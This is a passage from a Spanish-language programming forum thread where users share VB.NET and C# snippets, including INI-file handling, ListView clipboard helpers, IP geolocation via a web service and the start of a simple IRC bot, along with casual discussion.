  75.        Else
  76.  
  77.            For Each line In IO.File.ReadAllLines(File)
  78.                If line.ToLower.StartsWith(ValueName.ToLower & "=") Then Return line.Split("=").Last
  79.            Next
  80.  
  81.            Application.DoEvents()
  82.  
  83.            Throw New Exception("Key: " & """" & ValueName & """" & " not found.") ' Key not found.
  84.            Return Nothing
  85.  
  86.        End If
  87.  
  88.    End Function
  89.  
  90.    ''' <summary>
  91.    ''' Delete a key.
  92.    ''' </summary>
  93.    ''' <param name="File">The INI file location</param>
  94.    ''' <param name="ValueName">The value name</param>
  95.    Public Shared Sub Delete_Value(ByVal File As String, ByVal ValueName As String)
  96.  
  97.        If Not IO.File.Exists(File) Then
  98.  
  99.            Throw New Exception(File & " not found.") ' INI File not found.
  100.            Exit Sub
  101.  
  102.        Else
  103.  
  104.            Try
  105.  
  106.                Dim Line_Number As Int64 = 0
  107.                Dim strArray() As String = IO.File.ReadAllLines(File)
  108.  
  109.                For Each line In strArray
  110.                    If line.ToLower.StartsWith(ValueName.ToLower & "=") Then
  111.                        strArray(Line_Number) = Nothing
  112.                        Exit For
  113.                    End If
  114.                    Line_Number += 1
  115.                Next
  116.  
  117.                Array.Copy(strArray, Line_Number + 1, strArray, Line_Number, UBound(strArray) - Line_Number)
  118.                ReDim Preserve strArray(UBound(strArray) - 1)
  119.  
  120.                My.Computer.FileSystem.WriteAllText(File, String.Join(vbNewLine, strArray), False)
  121.  
  122.            Catch ex As Exception
  123.                MsgBox(ex.Message)
  124.            End Try
  125.  
  126.        End If
  127.  
  128.    End Sub
  129.  
  130.    ''' <summary>
  131.    ''' Sorts the entire INI File.
  132.    ''' </summary>
  133.    ''' <param name="File">The INI file location</param>
  134.    Public Shared Sub Sort_Values(ByVal File As String)
  135.  
  136.        If Not IO.File.Exists(File) Then
  137.  
  138.            Throw New Exception(File & " not found.") ' INI File not found.
  139.            Exit Sub
  140.  
  141.        Else
  142.  
  143.            Try
  144.  
  145.                Dim Line_Number As Int64 = 0
  146.                Dim strArray() As String = IO.File.ReadAllLines(File)
  147.                Dim TempList As New List(Of String)
  148.  
  149.                For Each line As String In strArray
  150.                    If line <> "" Then TempList.Add(strArray(Line_Number))
  151.                    Line_Number += 1
  152.                Next
  153.  
  154.                TempList.Sort()
  155.                IO.File.WriteAllLines(File, TempList)
  156.  
  157.            Catch ex As Exception
  158.                MsgBox(ex.Message)
  159.            End Try
  160.  
  161.        End If
  162.  
  163.    End Sub
  164.  
  165. End Class
  166.  
  167. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 11 Junio 2013, 21:06 pm
Entonces este IniReader usa Secciones? Si no explicame, como hago para llamar a 2 pcbs desde el mismo .INI :silbar: ;D


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Junio 2013, 21:51 pm
Entonces este IniReader usa Secciones?
No, no lee secciones ni tampoco guarda secciones, no me gustan las secciones ni tampoco las considero útiles, menos para aplicaciones grandes como CCleaner.

explicame, como hago para llamar a 2 pcbs desde el mismo .INI :silbar: ;D

Pues primero guardas el valor de cada PictureBox en el ini, y luego obtienes los valores préviamente guardados y los asignas a... a lo que estés intentando asignarlo.

Lee los comentarios al principio de la Class, ahí hay ejemplos, no sé que puede resultar tán dificil (de verdad), crea un post porque si con esos ejemplos no te aclara entonces ya no se que más decir.

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 11 Junio 2013, 22:07 pm
Nada ya se como quedaría, a veces parezco tonto. :-[


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 19:40 pm
Unos snippets que hice para usarlos con ListViews:


  • Auto scrollea un Listview hasta el último Item.
Código
  1.   ' Scroll ListView
  2.    Private Sub Scroll_ListView(ByVal ListView_Name As ListView)
  3.        ListView_Name.EnsureVisible(ListView_Name.Items.Count - 1)
  4.    End Sub



  • Deshabilita el menú contextual si no hay ningún Item seleccionado.
Código
  1.    ' [ListView] Auto-Disable ContextMenu
  2.    Private Sub ContextMenu_Opening(sender As System.Object, e As System.ComponentModel.CancelEventArgs) _
  3.    Handles Listview1_ContextMenu.Opening
  4.  
  5.        If ListView1.SelectedItems.Count = 0 Then e.Cancel = True
  6.  
  7.    End Sub
  8.  



  • Copia el contenido de un Item al portapapeles
Código
  1. #Region " [ListView] Copy Item To Clipboard "
  2.  
  3.  
  4.    ' [ [ListView] Copy Item To Clipboard ]
  5.    '
  6.    ' // By Elektro H@cker
  7.    '
  8.    ' Examples :
  9.    '
  10.    ' Copy_Selected_Items_To_Clipboard(ListView1, 0)    ' Copies Item 0
  11.    ' Copy_Selected_Items_To_Clipboard(ListView1, 0, 2) ' Copies SubItem 2 of Item 0
  12.  
  13.    Private Sub Copy_Item_To_Clipboard(ByVal ListView_Name As ListView, _
  14.                                       ByVal Item As Int32, _
  15.                                       Optional ByVal SubItem As Int64 = 0)
  16.  
  17.        Clipboard.SetText(ListView_Name.Items(Item).SubItems(SubItem).Text)
  18.  
  19.    End Sub
  20.  
  21. #End Region



  •  Copia el contenido de los items seleccionados al portapapeles
Código
  1. #Region " [ListView] Copy Selected-Items To Clipboard "
  2.  
  3.    ' [ [ListView] Copy Selected-Items To Clipboard ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' Copy_Selected_Items_To_Clipboard(ListView1)    ' Copies all SubItems of selected Items
  10.    ' Copy_Selected_Items_To_Clipboard(ListView1, 2) ' Copies only SubItem 2 of selected Items
  11.  
  12.    Private Sub Copy_Selected_Items_To_Clipboard(ByVal ListView_Name As ListView, _
  13.                                                 Optional ByVal SubItem As Int32 = -0)
  14.  
  15.        Dim text As String = String.Empty
  16.  
  17.        For Each Entry As ListViewItem In ListView_Name.SelectedItems()
  18.  
  19.            If SubItem = -0 Then
  20.                For Each Subi As ListViewItem.ListViewSubItem In ListView_Name.Items(Entry.Index).SubItems
  21.                    text &= " " & Subi.Text
  22.                Next
  23.                text &= ControlChars.NewLine
  24.            Else
  25.                text &= ControlChars.NewLine & ListView_Name.Items(Entry.Index).SubItems(SubItem).Text
  26.            End If
  27.  
  28.        Next
  29.  
  30.        Clipboard.SetText(text)
  31.  
  32.    End Sub
  33.  
  34. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 19:42 pm
Mini aporte, muy mini xD

Como escribir en varias líneas a través de .Text de un Control Label, TextBox, etc.

Código
  1. Label1.Text = "Texto por aquí" &
  2. vbCrLf 'Este texto representa un Salto de Línea >:D
  3. & "Texto por acá xD"

Un saludo.



Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada....

Joer! Que puntería tienes! xD



Tema: Librería de Snippets !! (Posteen aquí sus snippets)  (Leído 10,100 veces)

Anda! 10k de visitas! Enhorabuena :)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 19:42 pm
 Abre un archivo o una carpeta en el explorador de Windows

Código
  1. #Region " Open In Explorer "
  2.  
  3.    ' [ Open In Explorer ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Open_In_Explorer("C:\Folder\")
  9.    ' Open_In_Explorer("C:\Folder\File.txt")
  10.  
  11.    Private Sub Open_In_Explorer(ByVal File_Or_Folder As String)
  12.  
  13.        If File_Or_Folder.EndsWith("\") Then File_Or_Folder = File_Or_Folder.Substring(0, File_Or_Folder.Length - 1)
  14.  
  15.        If IO.Directory.Exists(File_Or_Folder) Then
  16.            Dim FileInformation As IO.FileInfo = My.Computer.FileSystem.GetFileInfo(File_Or_Folder)
  17.            Process.Start("explorer.exe", " /select," & IO.Path.Combine(FileInformation.DirectoryName, FileInformation.Name))
  18.        ElseIf IO.File.Exists(File_Or_Folder) Then
  19.            Dim FolderInformation As IO.DirectoryInfo = My.Computer.FileSystem.GetDirectoryInfo(File_Or_Folder)
  20.            Process.Start("explorer.exe ", FolderInformation.FullName)
  21.        Else
  22.            Throw New Exception(File_Or_Folder & " doesn't exist")
  23.        End If
  24.  
  25.    End Sub
  26.  
  27. #End Region



 Abre un dialogo y selecciona un proceso para ejecutar un archivo.

Código
  1. #Region " Open With... "
  2.  
  3.    ' [ Open With... ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Open_With("C:\File.txt") ' And select "Notepad.exe" in the Dialog...
  9.  
  10.    Private Sub Open_With(ByVal File_Or_Folder As String)
  11.  
  12.        Dim OpenWith As New OpenFileDialog()
  13.        OpenWith.InitialDirectory = Environ("programfiles")
  14.        OpenWith.Title = "Open file with..."
  15.        OpenWith.Filter = "Application|*.exe"
  16.  
  17.        If OpenWith.ShowDialog() = DialogResult.OK Then
  18.            Process.Start(OpenWith.FileName, " " & """" & File_Or_Folder & """")
  19.        End If
  20.  
  21.    End Sub
  22.  
  23. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 19:50 pm
Tema: Librería de Snippets !! (Posteen aquí sus snippets)  (Leído 10,100 veces)

Anda! 10k de visitas! Enhorabuena :)

Las visitas me dan igual ...pero es una situación crítica que de 10.000 lecturas sólamente 3 personas (incluida yo) hayan participado a contribuir.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 19:57 pm
Un poco ratas si que hay que ser. xD

Aparte de tu y yo, quien más ha participado? :o :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 20:05 pm
Aparte de tu y yo, quien más ha participado? :o :P

ABDERRAMAH


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 20:07 pm
ABDERRAMAH

Y cuantos Snippets ha dejado? :P

Me he fijado y NovLucker también ha ayudado. ;)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 20:13 pm
Me he fijado y NovLucker también ha ayudado. ;)

Si leyeras sin prisas verías que NovLucker no ha aportado Snippets porque él no tiene Snippets (Como dijo en los comentarios del principio de este hilo), símplemente comentó para ayudarme a intentar perfeccionar la manera en la que yo codeaba las cosas.

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 20:18 pm
xD Me refería a que ha ayudado a perfeccionar. (Se ha que ha ayudao, es más he leido algunos de sus comentarios ;)) ;-) xD
Hijo estás muy ofuscao xD

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 20:30 pm
Hijo estás muy ofuscao xD
Si, es lo que pasa cuando me ofuscan.

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 17 Junio 2013, 00:17 am
Y cuantos Snippets ha dejado? :P


Pues unos pocos, pero sobre manejo de bitmaps, códigos útiles para simplificar el uso de gdi+. No es mucho porque yo no acostumbro a usar snippets excepto para ese tipo de tareas, pero creo que es útil.

Todo sea dicho, sería maravilloso un poco más de actividad de los que frecuentamos el foro de .net.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 11:13 am
sería maravilloso un poco más de actividad de los que frecuentamos el foro de .net.

Si, además, es que no hay ni un solo código de C# en todo el hilo x'D

¿¡ Donde se ha metido la gente que maneja C# !?

Os recuerdo que el lenguaje no importa en este hilo...

A ver si alguien se anima,
Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 17 Junio 2013, 12:20 pm
Ya veo aquí a OmarHack xD


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: birik en 17 Junio 2013, 12:27 pm
Aporto mi granito de arena:

Función que si le pasas un numero te devuelve el equivalente en letra
No lo e explicado muy bien un ejemplo:

Le paso a la función 1 -> me devuelve a
Le paso a la función 26  -> me devuelve z
Le paso a la función 27  -> me devuelve aa
Le paso a la función 53  -> me devuelve ba
y así sucesivamente:

Código:
Private Function ConvertirALetras4(ByVal num As Integer) As String

Dim base26 As String() = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
Dim cadena As String = ""
Dim tmp As Integer = num

While tmp > 0
If tmp Mod 26 = 0 Then
cadena += base26(25)
tmp = (tmp \ 26) - 1
Else
cadena += base26(tmp Mod 26 - 1)
tmp = tmp \ 26
End If
End While
Return StrReverse(cadena)
End Function



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 17 Junio 2013, 15:16 pm
Bueno Elektro con tu creación Dinámica de controles no me llevaba muy bien, así que, mira lo que he hecho. (Bueno me he encontrado hecho, ahora tenéis que transportarlo, transformarlo, adaptarlo, etc a lo que vosotros queráis como he hecho yo) :silbar:

Código
  1. Public Class Form1
  2.  Private Sub NewButton(ByVal ButtonNumber As Integer)
  3.    ' Create a new button
  4.    Dim oButton As Button
  5.    oButton = New Button
  6.    ' Set properties. Change these as you like and set other props if needed
  7.    oButton.Enabled = True
  8.    oButton.Location = New Point(ButtonNumber * 30, ButtonNumber * 30)
  9.    oButton.Name = "MyButton" & ButtonNumber.ToString
  10.    oButton.Size = New Size(75, 23)
  11.    oButton.Text = "Button" & ButtonNumber.ToString
  12.    oButton.Visible = True
  13.    ' Use Tag property to store "which button" information
  14.    oButton.Tag = ButtonNumber
  15.    ' Add button click handler
  16.    AddHandler oButton.Click, AddressOf onButtonClick
  17.    ' Add to this forms controls collection
  18.    Me.Controls.Add(oButton)
  19.  End Sub
  20.  Private Sub MyFunc(ByVal ButtonNumber As Integer)
  21.    ' Do your stuff here
  22.    MessageBox.Show("You clicked button: " & ButtonNumber.ToString, "Click", MessageBoxButtons.OK, MessageBoxIcon.Information)
  23.  End Sub
  24.  Private Sub onButtonClick(ByVal sender As System.Object, ByVal e As System.EventArgs)
  25.    ' Handle button click and check which button is clicked
  26.    Dim ButtonNumber As Integer
  27.    ' Get Tag property. Cast sender to Button first
  28.    If CType(sender, Button).Tag IsNot Nothing Then
  29.      ' Check that button's Tag property contains a valid integer
  30.      If Integer.TryParse(CType(sender, Button).Tag.ToString, ButtonNumber) Then
  31.        ' Now we have a valid button number to be used
  32.        MyFunc(ButtonNumber)
  33.      End If
  34.    End If
  35.  End Sub
  36.  Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
  37.    ' Create buttons dynamically on form load
  38.    Dim i As Integer
  39.    For i = 0 To 30
  40.      NewButton(i)
  41.    Next i
  42.  End Sub
  43. End Class

Con esta maravilla, si la sabéis transformar, podéis sacar el numero del Button que habéis pulsado, lo que os hace la vida más fácil al manejar el dichoso Ini_Manager


Que os parece? :silbar:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 15:52 pm
Que os parece? :silbar:
Me parece que está muy bien comentado

Aunque es un poco marear la perdiz añadir el número al Tag y luego intentar parsearlo, si el número ya se añade de forma dinámica el "name" y con parsear el name es suficiente, pero bueno, es otra forma de hacer las cosas, si el code fuera tuyo te daría un par de aplausos xD

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 17 Junio 2013, 15:56 pm
Si, además, es que no hay ni un solo código de C# en todo el hilo x'D

¿¡ Donde se ha metido la gente que maneja C# !?

Os recuerdo que el lenguaje no importa en este hilo...

No uso snippets, me es más sencillo rehacer un código que buscar en una librería de snippet para ver si tengo uno que me sirva :xD
Por lo anterior, muchos de los snippets no los veo útiles (ya lo había dicho), por el simple hecho de que lo único que hacen es llamar a un método de .NET con unos parámetros específicos, es lo mismo pero con otro nombre :-\

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 16:06 pm
me es más sencillo rehacer un código que buscar en una librería de snippet para ver si tengo uno que me sirva :xD

Buscar entre las páginas puede resultar tedioso, pero en la página principal intento dejar un índice ordenado del contenido de un pack que contiene todos los snippets (los que yo he publicado), que por cierto, lo actualizaré cuando llegue a los 400 snippets, me faltan 23...

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 17 Junio 2013, 18:31 pm
Voltear Texto de un TextBox y pasarlo a otro. :)

Código
  1. Public Function Voltear(ByVal Texto As String) As String
  2. Dim i As Long, l As Long
  3. l = Len(Texto)
  4. For i = 1 To l
  5. Voltear = Voltear & Mid(Texto, l, 1)
  6. l = l - 1
  7. Next
  8. End Function
  9.  
  10. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  11. textbox2.text = voltear(textbox1.text) 'voltea texto
  12. End Sub

Un saludo.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 18:54 pm
Voltear Texto de un TextBox y pasarlo a otro. :)


demasiado código, mira:

Código
  1. Public Class Form1
  2.  
  3.    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  4.        TextBox2.Text = StrReverse(TextBox1.Text)
  5.    End Sub
  6.  
  7. End Class

saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 16:20 pm
GeoLocalizar una IP:

Código
  1. #Region " GeoLocation "
  2.  
  3. ' [ GeoLocation ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples :
  8. '
  9. ' Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate("84.126.113.11")
  10. ' Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate("84.126.113.11.dyn.user.ono.com")
  11. ' MsgBox(GeoInfo.Country) ' result: Spain
  12. ' MsgBox(GeoInfo.City)    ' Result: Valencia
  13.  
  14. Public Class GeoLocation
  15.  
  16.    Public Class GeoInfo
  17.        Public Property Latitude() As String
  18.        Public Property Lognitude() As String
  19.        Public Property City() As String
  20.        Public Property State() As String
  21.        Public Property Country() As String
  22.        Public Property Host() As String
  23.        Public Property Ip() As String
  24.        Public Property Code() As String
  25.    End Class
  26.  
  27.    Public Shared Function Locate(ByVal IP As String) As GeoInfo
  28.  
  29.        Try
  30.  
  31.            Dim request = TryCast(Net.WebRequest.Create(New Uri("http://www.geoiptool.com/data.php/en/?IP=" & IP)), Net.HttpWebRequest)
  32.  
  33.            If request IsNot Nothing Then
  34.  
  35.                request.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727)"
  36.  
  37.                Dim _geoloc As New GeoInfo
  38.  
  39.                Using webResponse = TryCast(request.GetResponse(), Net.HttpWebResponse)
  40.                    If webResponse IsNot Nothing Then
  41.  
  42.                        Using reader = New IO.StreamReader(webResponse.GetResponseStream())
  43.  
  44.                            Dim doc = New Xml.XmlDocument()
  45.  
  46.                            doc.Load(reader)
  47.  
  48.                            Dim nodes = doc.GetElementsByTagName("marker")
  49.  
  50.                            Dim marker = TryCast(nodes(0), Xml.XmlElement)
  51.  
  52.                            _geoloc.City = marker.GetAttribute("city")
  53.                            _geoloc.Country = marker.GetAttribute("country")
  54.                            _geoloc.Code = marker.GetAttribute("code")
  55.                            _geoloc.Host = marker.GetAttribute("host")
  56.                            _geoloc.Ip = marker.GetAttribute("ip")
  57.                            _geoloc.Latitude = marker.GetAttribute("lat")
  58.                            _geoloc.Lognitude = marker.GetAttribute("lng")
  59.  
  60.                            Return _geoloc
  61.  
  62.                        End Using
  63.  
  64.                    End If
  65.                End Using
  66.            End If
  67.  
  68.            Return New GeoInfo()
  69.  
  70.        Catch ex As Exception
  71.            Throw New Exception(ex.Message)
  72.        End Try
  73.  
  74.    End Function
  75.  
  76. End Class
  77.  
  78. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 20 Junio 2013, 17:32 pm
Implementación en C#
Código
  1.    public class GeoLocation
  2.    {
  3.        [XmlRoot("markers")]
  4.        public class markers
  5.        {
  6.            [XmlElement("marker")]
  7.            public List<GeoIfo> marker { get; set; }
  8.        }
  9.  
  10.        public class GeoIfo
  11.        {
  12.            [XmlAttribute("lat")]
  13.            public string Latitude { get; set; }
  14.            [XmlAttribute("lng")]
  15.            public string Longitude { get; set; }
  16.            [XmlAttribute("city")]
  17.            public string City { get; set; }
  18.            [XmlAttribute("country")]
  19.            public string Country { get; set; }
  20.            [XmlAttribute("host")]
  21.            public string Host { get; set; }
  22.            [XmlAttribute("ip")]
  23.            public string Ip { get; set; }
  24.            [XmlAttribute("code")]
  25.            public string Code { get; set; }
  26.        }
  27.  
  28.        public static GeoIfo Locate(string IP)
  29.        {
  30.            WebClient client = new WebClient();
  31.            string xml = client.DownloadString(string.Format("{0}{1}", "http://www.geoiptool.com/data.php/en/?IP=", IP));
  32.            XmlSerializer serializer = new XmlSerializer(typeof(markers));
  33.            markers geoInfo;
  34.  
  35.            using (StringReader reader = new StringReader(xml))
  36.            {
  37.                geoInfo = (markers)serializer.Deserialize(reader);
  38.            }
  39.  
  40.            return geoInfo.marker.First();
  41.        }
  42.    }


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 17:39 pm
Ala, ya si se puede decir que Nov a "ayudado" :P



Googleando un poquito he encontrado esto:

Código
  1. Public Class Form1
  2.    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  3.        WebBrowser1.Navigate("http://google.com")
  4.    End Sub
  5.    Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  6.        AddHandler WebBrowser1.Document.Click, AddressOf getClickedElement
  7.    End Sub
  8.    Private Sub getClickedElement(ByVal sender As Object, ByVal e As HtmlElementEventArgs)
  9.        With WebBrowser1.Document.GetElementFromPoint(e.ClientMousePosition)
  10.            Dim selectedHtmlElement_ID As String = .GetAttribute("id").ToLower
  11.            Dim selectedHtmlElement_NAME As String = .GetAttribute("name").ToLower
  12.            MsgBox("ID: " & selectedHtmlElement_ID & vbNewLine & " --- Name: " & selectedHtmlElement_NAME)
  13.        End With
  14.    End Sub
  15. End Class

Básicamente podemos sacar el Name y la Id del elemento clicado a través de un MsgBox.

Un saludo. :)
Que os parece? :P


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 20 Junio 2013, 19:27 pm
Ala, ya si se puede decir que Nov a "ayudado" :P

Es que insisto, muchos códigos si me parecen útiles, pero otros se me hacen demasiado evidentes como para tener que buscarlos en algún sitio, demoro menos codeandolo, ej;
"Get_Method", y "Comprueba si un numero es divisible por otro": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857426#msg1857426
"Download_URL_SourceCode": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1856078#msg1856078
"Elimina un Item de un Array": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1856079#msg1856079

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 20:26 pm
Un Bot para IRC.

No soy experto en IRC, lo hice basándome en wl webchat de freenode, pero imagino que funcionará en todos los canales de IRC.

...Extender y/o modificar el código como querais, esto solo e sun ejemplo, dejar volar vuestra imaginación:


Un ejemplo de uso:

Código
  1. Public Class Form1
  2.  
  3.    Dim IRC_Thread_Var As Threading.Thread = New Threading.Thread(AddressOf IRC_Thread)
  4.  
  5.    Private Sub Form1_shown(sender As Object, e As EventArgs) Handles MyBase.Shown
  6.        IRC_Thread_Var = New Threading.Thread(AddressOf IRC_Thread)
  7.        IRC_Thread_Var.Start()
  8.    End Sub
  9.  
  10.    Sub IRC_Thread()
  11.        IRC_Bot.Connect("irc.freenode.org", "#ircehn", "ElektroBot")
  12.    End Sub
  13.  
  14. End Class

...La class del Bot:
Código
  1. Public Class IRC_Bot
  2.  
  3.    ' Channel Moderators
  4.    Public Shared Gods As String() = "Elektro Elektro-H Elektro-H_ Drvy kili4n Ikillnukes Caster_ OmarHack OmarHack_ Carloswaldo _0xDani".Split(ChrW(32)).ToArray
  5.  
  6.    ' Commands
  7.    Private Shared Line As String = Nothing
  8.    Private Shared Name As String = Nothing
  9.    Private Shared IP As String = Nothing
  10.    Private Shared Command As String = Nothing
  11.    Private Shared Argument As String = Nothing
  12.  
  13.    ' Bot Status
  14.    Public Shared Activated As Boolean = True
  15.    Private Shared Elapsed_Time As New Stopwatch
  16.    Private Shared Total_Messages As Int64 = 0
  17.  
  18.    ' Connection
  19.    Private Shared Ident_Listener As Net.Sockets.TcpListener = Nothing
  20.    Private Shared Ident_Client As Net.Sockets.TcpClient = Nothing
  21.    Private Shared Ident_NetworkStream As Net.Sockets.NetworkStream = Nothing
  22.    Private Shared Ident_Reader As IO.StreamReader = Nothing
  23.    Private Shared Ident_Writer As IO.StreamWriter = Nothing
  24.    Private Shared Ident_ResponseString As String = Nothing
  25.    Private Shared TCP_client As Net.Sockets.TcpClient = Nothing ' Main connection to the IRC network.
  26.    Private Shared Network_Stream As Net.Sockets.NetworkStream = Nothing ' Break TCP connection down to a network stream.
  27.    Private Shared IRC_Reader As IO.StreamReader = Nothing ' Stream to read messages from the Server.
  28.    Private Shared IRC_Writer As IO.StreamWriter = Nothing ' Stream to write messages to the server.
  29.  
  30.    ' To attach Console (If needed)
  31.    ' Private Declare Function AllocConsole Lib "kernel32.dll" () As Boolean
  32.  
  33.    Public Shared Sub Connect(ByVal Server As String, _
  34.                       ByVal Channel As String, _
  35.                       ByVal NickName As String, _
  36.                       Optional ByVal Port As Int32 = 6667, _
  37.                       Optional ByVal RealName As String = "ElektroBot", _
  38.                       Optional ByVal UserName As String = "ElektroHacker")
  39.  
  40.        ' AllocConsole() '  Attach Console (If needed)
  41.  
  42.        ' Change CMD Window Size
  43.        Console.SetWindowSize(200, 60)
  44.  
  45.        Try
  46.  
  47.            ' Create Connection
  48.            Write("Creating Connection...", ConsoleColor.Yellow)
  49.            TCP_client = New Net.Sockets.TcpClient(Server, Port)
  50.            Network_Stream = TCP_client.GetStream
  51.            IRC_Reader = New IO.StreamReader(Network_Stream)
  52.            IRC_Writer = New IO.StreamWriter(Network_Stream)
  53.            If Not IRC_Writer.AutoFlush Then IRC_Writer.AutoFlush = True
  54.  
  55.            ' Set name
  56.            Write("Setting up name...", ConsoleColor.Yellow)
  57.            IRC_Writer.WriteLine(String.Format("USER {0} {1} * :{2}", UserName, 0, RealName))
  58.  
  59.            ' Set Nickname
  60.            Write("Setting Nickname...", ConsoleColor.Yellow)
  61.            IRC_Writer.WriteLine(String.Format("NICK {0}", NickName))
  62.  
  63.            ' Join Room
  64.            Write("Joining Room...", ConsoleColor.Yellow)
  65.            IRC_Writer.WriteLine(String.Format("JOIN {0}", Channel))
  66.  
  67.            ' Check Ident connection
  68.            Write("Checking Ident connection...", ConsoleColor.Yellow)
  69.            Ident_Listener = New Net.Sockets.TcpListener(Net.IPAddress.Any, 113)
  70.            Ident_Listener.Start()
  71.            Ident_Client = Ident_Listener.AcceptTcpClient
  72.            Ident_Listener.Stop()
  73.            Ident_NetworkStream = Ident_Client.GetStream
  74.            Ident_Reader = New IO.StreamReader(Ident_NetworkStream)
  75.            Ident_ResponseString = Ident_Reader.ReadLine
  76.            Write("Ident got: " & Ident_ResponseString, ConsoleColor.Cyan)
  77.            Ident_Writer = New IO.StreamWriter(Ident_NetworkStream)
  78.            If Not Ident_Writer.AutoFlush Then Ident_Writer.AutoFlush = True
  79.            Ident_Writer.WriteLine(String.Format("{0} : USERID : WINDOWS 7 : {1}", Ident_ResponseString, UserName))
  80.  
  81.            ' Read messages
  82.            Write("Reading messages...", ConsoleColor.Yellow)
  83.            Elapsed_Time.Start()
  84.  
  85.            While True
  86.  
  87.                ' Sum the total received messages
  88.                Total_Messages += 1
  89.  
  90.                ' Get the IRC line to read
  91.                Line = IRC_Reader.ReadLine
  92.  
  93.                ' Print the IRC line
  94.                Write(Line, ConsoleColor.Gray)
  95.  
  96.                ' Get User Name
  97.                Try : Name = Line.Split("!").First.Substring(1, Line.Split("!").First.Length - 1)
  98.                Catch : Name = Nothing
  99.                End Try
  100.  
  101.                ' Get User IP
  102.                Try : IP = Line.Split(" ").First.Split("/").Last.Replace("ip.", "")
  103.                Catch : IP = Nothing
  104.                End Try
  105.  
  106.                ' Get User Command
  107.                Try : Command = Line.Split(" ")(3).Substring(1, Line.Split(" ")(3).Length - 1).ToLower
  108.                Catch : Command = Nothing
  109.                End Try
  110.  
  111.                ' Get the command argument
  112.                Try : Argument = Line.Split(" ")(4)
  113.                Catch : Argument = Nothing
  114.                End Try
  115.  
  116.                    ' IRC Ping-Pong
  117.                    if line.tolower.startswith("ping") then
  118.                        Write("Answering Ping with Pong...", ConsoleColor.Yellow)
  119.                        Write("PONG " & Line, ConsoleColor.Cyan)
  120.                        IRC_Writer.WriteLine("PONG " & Line)
  121.                    end if
  122.  
  123.                ' Parse commands
  124.                Select Case Command
  125.  
  126.                        ' Help
  127.                    Case "!?", "!ayuda"
  128.  
  129.                        If Line.ToLower.Contains(Channel.ToLower) Then
  130.                            IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}      ", Name, "[+] Comandos públicos:"))
